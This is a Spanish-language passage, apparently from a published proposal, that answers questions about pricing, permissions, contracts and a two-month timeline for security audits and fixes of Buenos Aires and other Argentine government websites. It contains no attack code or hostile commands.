A fin de comenzar, realizar los análisis y las modificaciones necesarias, lo único requerido es la firma del acuerdo comercial y los permisos necesarios para llevar a cabo los análisis de seguridad y las modificaciones que serán necesarias a fin de remediar la seguridad de los servicios, aplicaciones y servidores.

(14) ¿Cuáles son los precios para realizar el análisis?

Proponemos un precio de $100,000 (ARS) + IVA por cada uno de los servicios, aplicaciones y/o páginas web a ser analizadas y remediadas. El precio por análisis se divide por dominios. Por lo cual, el análisis de www.buenosaires.gob.ar, se cobraría $100,000, incluyendo a su vez, cada uno de los subdominios de la aplicación, como:

bapc.buenosaires.gob.ar
turismo.buenosaires.gob.ar
bienal.buenosaires.gob.ar
boletinoficial.buenosaires.gob.ar

Queremos mencionar que hemos reducido de manera considerable los precios del mercado a fin de realizar los análisis, y de ser necesario, queremos que sepan, que nos disponemos a llegar a un acuerdo más allá del precio, dado que lo que en verdad queremos, es poder corregir las fallas de seguridad a nivel nacional. Sabemos que podemos hacerlo, y de alguna manera, en un país donde disponemos en verdad de muchos profesionales de seguridad, no hay razón alguna para que los servicios online, servidores y aplicaciones web del gobierno se hallen en las condiciones mencionadas.

(15) ¿Cuál es el plan de acción, por donde se comenzaría?

En la página 9 se hace referencia al plan de acción y por donde se comenzaría:

“Proponemos comenzar, con los recursos (aplicaciones o páginas web) aquellos los cuales, podamos disponer de manera más fácil los debidos permisos para realizar el análisis. De alguna manera, proponemos comenzar a analizar, por donde sea más fácil y rápido comenzar a analizar, para luego ir sumando los debidos permisos para el análisis de las aplicaciones o páginas web que corresponden a organizaciones nacionales exógenas, como podría ser, la web nacional del gobierno de córdoba (www.cordoba.gob.ar).”

“En caso de ser posible conseguir un solo permiso, el cual incluya el análisis de cada una de las aplicaciones y web nacionales, en ese caso, nos sería mucho más fácil la organización de los diversos análisis, ya que no sería necesario realizar una reunión de aprobación inicial con cada una de las organizaciones responsables.”

(16) ¿Qué clase de acuerdos se firmaría previo a comenzar los análisis?

Previo a comenzar es necesario firmar acuerdos convencionales:

Un acuerdo comercial: donde se especifica la labor a realizarse, se brindan los permisos para hacerlo y se nombran las responsabilidades de las organizaciones y un convenio de confidencialidad y no divulgación: el cual ampara a ambas organizaciones dada la confidencialidad de la información de los servidores y los mecanismos (Técnicas de seguridad) a ser usadas.

Proceso a llevar a cabo, incluyendo precios y demora:

A fin de sacar las dudas sobre el proceso, los precios y como se llevaría a cabo, se ha creado un nuevo cuadro, usando como referencia www.buenosaires.gov.ar:

Proceso	Tiempo	Dinero
Se firman acuerdos y aprobaciones para analizar www.buenosaires.gov.ar y cada uno de sus subdominios.	1 día	–
La empresa comienza el análisis de la aplicación o servicio y servidores, se incluye el análisis de subdominios.	4 semanas	–
La empresa crea un informe con cada una de las vulnerabilidades y riesgos localizados y como remediarlos.	2 días	–
Se lleva a cabo una reunión con el equipo responsable a fin de comenzar a remediar las fallas.	1 día	–
La empresa realiza las modificaciones necesarias, asegurándonos de que cada una de las fallas se remedie.	3 semanas	–
La empresa crea un informe final donde se expliquen los procesos realizados a fin de remediar las fallas de seguridad.	2 días	–
Al llegar acá, se considera que www.buenosaires.gov.ar y sus subdominios no poseen más riesgos.		$100,000

Calculamos que el proceso demoraría un aproximado de 2 meses como máximo, en los cuales, los servicios web de www.buenosaires.gov.ar no se verían de ninguna manera suspendidos y funcionarían con normalidad. Al finalizar el análisis de www.buenosaires.gov.ar y cada uno de sus subdominios, se comenzaría a analizar y remediar el segundo servicio, podríamos asumir www.minseg.gob.ar, para el cual, se haría de nuevo el mismo proceso:

Comments

comments